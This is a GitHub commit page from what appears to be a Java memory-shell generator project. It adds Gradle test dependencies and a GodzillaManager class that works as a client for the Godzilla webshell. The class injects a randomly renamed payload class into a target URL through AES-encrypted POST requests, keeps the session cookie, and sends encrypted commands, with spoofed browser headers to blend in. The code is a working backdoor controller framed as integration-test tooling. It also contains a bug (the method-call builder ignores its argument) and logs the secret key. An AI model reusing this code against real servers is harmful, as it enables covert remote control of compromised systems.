Skip to content

Commit eb994b7

Browse files
committed
feat: add godzilla manager and integration container test
1 parent a06eb2f commit eb994b7

File tree

14 files changed

+2563
-19
lines changed

14 files changed

+2563
-19
lines changed

build.gradle

Lines changed: 27 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,18 @@
1+
buildscript {
2+
repositories {
3+
maven {
4+
url "https://plugins.gradle.org/m2/"
5+
}
6+
}
7+
dependencies {
8+
classpath "io.freefair.gradle:lombok-plugin:8.11"
9+
}
10+
}
11+
112
allprojects {
213
apply(plugin: 'java')
314
apply(plugin: 'jacoco')
15+
apply(plugin: "io.freefair.lombok")
416

517
repositories {
618
mavenCentral()
@@ -13,14 +25,27 @@ allprojects {
1325
}
1426

1527
test {
16-
finalizedBy jacocoTestReport // report is always generated after tests run
28+
useJUnitPlatform()
29+
finalizedBy jacocoTestReport
1730
}
31+
1832
jacocoTestReport {
19-
dependsOn test // tests are required to run before generating the report
33+
dependsOn test
2034
}
2135

2236
dependencies {
37+
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
38+
testImplementation 'org.testcontainers:testcontainers:1.20.4'
39+
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
2340
testImplementation platform('org.junit:junit-bom:5.11.3')
2441
testImplementation 'org.junit.jupiter:junit-jupiter'
2542
}
43+
44+
tasks.withType(Test).tap {
45+
configureEach {
46+
testLogging {
47+
events "passed", "skipped", "failed"
48+
}
49+
}
50+
}
2651
}

generator/build.gradle

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,12 @@
1-
plugins {
2-
id "io.freefair.lombok" version "8.11"
3-
}
4-
51
group = 'com.reajason.javaweb.memsell'
62
version = '1.0-SNAPSHOT'
73

4+
test {
5+
dependsOn(":vul-webapp:build")
6+
useJUnitPlatform()
7+
finalizedBy jacocoTestReport
8+
}
9+
810
jacocoTestReport {
911
reports {
1012
html.required = true
@@ -15,6 +17,7 @@ jacocoTestReport {
1517
fileTree(dir: it, exclude: [
1618
'com/reajason/javaweb/memsell/**/godzilla/**',
1719
'com/reajason/javaweb/memsell/**/injector/**',
20+
'com/reajason/javaweb/memsell/**/command/**',
1821
'com/reajason/javaweb/config/**'
1922
])
2023
}))
@@ -31,6 +34,8 @@ dependencies {
3134
implementation 'org.apache.commons:commons-lang3:3.17.0'
3235
implementation 'commons-codec:commons-codec:1.17.1'
3336

37+
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
38+
3439
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
3540
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
3641
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
@@ -44,8 +49,4 @@ dependencies {
4449
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
4550
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
4651
}
47-
}
48-
49-
test {
50-
useJUnitPlatform()
5152
}
Lines changed: 264 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,264 @@
1+
package com.reajason.javaweb.godzilla;
2+
3+
import com.reajason.javaweb.memsell.GodzillaGenerator;
4+
import lombok.Getter;
5+
import lombok.Setter;
6+
import lombok.SneakyThrows;
7+
import net.bytebuddy.ByteBuddy;
8+
import net.bytebuddy.dynamic.DynamicType;
9+
import okhttp3.*;
10+
import org.apache.commons.codec.binary.Base64;
11+
import org.apache.commons.codec.digest.DigestUtils;
12+
import org.apache.commons.io.IOUtils;
13+
import org.apache.commons.lang3.StringUtils;
14+
15+
import javax.crypto.Cipher;
16+
import javax.crypto.spec.SecretKeySpec;
17+
import java.io.*;
18+
import java.net.URLDecoder;
19+
import java.nio.charset.StandardCharsets;
20+
import java.util.*;
21+
import java.util.zip.GZIPInputStream;
22+
import java.util.zip.GZIPOutputStream;
23+
24+
/**
25+
* @author ReaJason
26+
*/
27+
@Getter
28+
@Setter
29+
public class GodzillaManager implements Closeable {
30+
private final OkHttpClient client;
31+
private static final List<String> CLASS_NAMES;
32+
private String J_SESSION_ID = "";
33+
private String entrypoint;
34+
private String key;
35+
private String pass;
36+
private String md5;
37+
private Request request;
38+
private Map<String, String> headers = new HashMap<>();
39+
40+
static {
41+
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
42+
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
43+
}
44+
45+
public static class GodzillaManagerBuilder {
46+
private String entrypoint;
47+
private String key;
48+
private String pass;
49+
private final Map<String, String> headers = new HashMap<>();
50+
51+
public GodzillaManagerBuilder entrypoint(String entrypoint) {
52+
this.entrypoint = entrypoint;
53+
return this;
54+
}
55+
56+
public GodzillaManagerBuilder key(String key) {
57+
this.key = key;
58+
return this;
59+
}
60+
61+
public GodzillaManagerBuilder pass(String pass) {
62+
this.pass = pass;
63+
return this;
64+
}
65+
66+
public GodzillaManagerBuilder header(String key, String value) {
67+
this.headers.put(key, value);
68+
return this;
69+
}
70+
71+
public GodzillaManager build() {
72+
GodzillaManager manager = new GodzillaManager();
73+
manager.setEntrypoint(entrypoint);
74+
manager.setPass(pass);
75+
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
76+
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
77+
manager.setMd5(md5);
78+
manager.setKey(md5Key);
79+
Map<String, String> headers = new HashMap<>(16);
80+
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
81+
headers.put("Content-Type", "application/x-www-form-urlencoded");
82+
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
83+
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
84+
headers.putAll(this.headers);
85+
manager.setHeaders(headers);
86+
return manager;
87+
}
88+
}
89+
90+
public static GodzillaManagerBuilder builder() {
91+
return new GodzillaManagerBuilder();
92+
}
93+
94+
public GodzillaManager() {
95+
this.client = new OkHttpClient.Builder().build();
96+
}
97+
98+
private Response post(byte[] bytes) throws IOException {
99+
byte[] aes = aes(bytes, true);
100+
assert aes != null;
101+
String base64String = Base64.encodeBase64String(aes);
102+
RequestBody requestBody = new FormBody.Builder()
103+
.add("pass", base64String)
104+
.build();
105+
Request.Builder builder = new Request.Builder()
106+
.url(this.entrypoint)
107+
.post(requestBody)
108+
.headers(Headers.of(this.headers));
109+
if (StringUtils.isNotBlank(J_SESSION_ID)) {
110+
builder.header("Cookie", J_SESSION_ID);
111+
}
112+
return client.newCall(builder.build()).execute();
113+
}
114+
115+
public static byte[] generateGodzilla() {
116+
Random random = new Random();
117+
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
118+
try (DynamicType.Unloaded<?> make = new ByteBuddy()
119+
.redefine(Payload.class)
120+
.name(className)
121+
.make()) {
122+
return make.getBytes();
123+
}
124+
}
125+
126+
public boolean start() {
127+
byte[] bytes = generateGodzilla();
128+
try (Response response = post(bytes)) {
129+
String setCookie = response.header("Set-Cookie");
130+
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
131+
J_SESSION_ID = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
132+
}
133+
return response.code() == 200;
134+
} catch (IOException e) {
135+
return false;
136+
}
137+
}
138+
139+
public boolean test() {
140+
byte[] bytes = generateMethodCallBytes("test");
141+
try (Response response = post(bytes)) {
142+
if (response.code() == 200) {
143+
ResponseBody body = response.body();
144+
if (body != null) {
145+
String resultFromRes = getResultFromRes(body.string());
146+
return "ok".equals(resultFromRes);
147+
}
148+
}
149+
return false;
150+
} catch (IOException e) {
151+
e.printStackTrace();
152+
return false;
153+
}
154+
}
155+
156+
@Override
157+
public void close() throws IOException {
158+
byte[] bytes = generateMethodCallBytes("close");
159+
try (Response response = post(bytes)) {
160+
if (response.code() == 200) {
161+
ResponseBody body = response.body();
162+
}
163+
} catch (IOException ignore) {
164+
165+
}
166+
}
167+
168+
/**
169+
* AES 加解密
170+
*
171+
* @param bytes 加解密的字符串字节数组
172+
* @param encoding 是否为加密,true 为加密,false 解密
173+
* @return 返回加解密后的字节数组
174+
*/
175+
public byte[] aes(byte[] bytes, boolean encoding) {
176+
System.out.println(key);
177+
try {
178+
Cipher c = Cipher.getInstance("AES");
179+
c.init(encoding ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
180+
return c.doFinal(bytes);
181+
} catch (Exception e) {
182+
e.printStackTrace();
183+
return null;
184+
}
185+
}
186+
187+
private boolean isValidResponse(String response) {
188+
if (StringUtils.isEmpty(response)) {
189+
return false;
190+
}
191+
return response.startsWith(md5.substring(0, 16)) && response.endsWith(md5.substring(16));
192+
}
193+
194+
public String getResultFromRes(String responseBody) throws IOException {
195+
String result = responseBody.substring(16);
196+
result = result.substring(0, result.length() - 16);
197+
byte[] bytes = Base64.decodeBase64(result);
198+
byte[] x = aes(bytes, false);
199+
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
200+
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
201+
}
202+
203+
Map<String, String> restorePayload(String payload) throws IOException {
204+
String p = URLDecoder.decode(payload, "UTF-8");
205+
Map<String, String> map = new HashMap<>();
206+
byte[] bytes = Base64.decodeBase64(p);
207+
byte[] x = aes(bytes, false);
208+
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
209+
ByteArrayOutputStream tp = new ByteArrayOutputStream();
210+
byte[] lenB = new byte[4];
211+
int read;
212+
try {
213+
GZIPInputStream inputStream = new GZIPInputStream(tStream);
214+
while (true) {
215+
byte t = (byte) inputStream.read();
216+
if (t != -1) {
217+
if (t == 2) {
218+
String key = tp.toString();
219+
int read1 = inputStream.read(lenB);
220+
int len = bytesToInt(lenB);
221+
byte[] data = new byte[len];
222+
int readOneLen = 0;
223+
do {
224+
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
225+
readOneLen = read;
226+
} while (read < data.length);
227+
map.put(key, new String(data));
228+
tp.reset();
229+
} else {
230+
tp.write(t);
231+
}
232+
} else {
233+
tp.close();
234+
tStream.close();
235+
inputStream.close();
236+
break;
237+
}
238+
}
239+
} catch (Exception ignored) {
240+
}
241+
return map;
242+
}
243+
244+
public static int bytesToInt(byte[] bytes) {
245+
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
246+
}
247+
248+
@SneakyThrows
249+
private byte[] generateMethodCallBytes(String methodName) {
250+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
251+
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
252+
byte[] value = "close".getBytes();
253+
gzipOutputStream.write("methodName".getBytes());
254+
gzipOutputStream.write(2);
255+
gzipOutputStream.write(intToBytes(value.length));
256+
gzipOutputStream.write(value);
257+
}
258+
return byteArrayOutputStream.toByteArray();
259+
}
260+
261+
public static byte[] intToBytes(int value) {
262+
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
263+
}
264+
}

0 commit comments

Comments
 (0)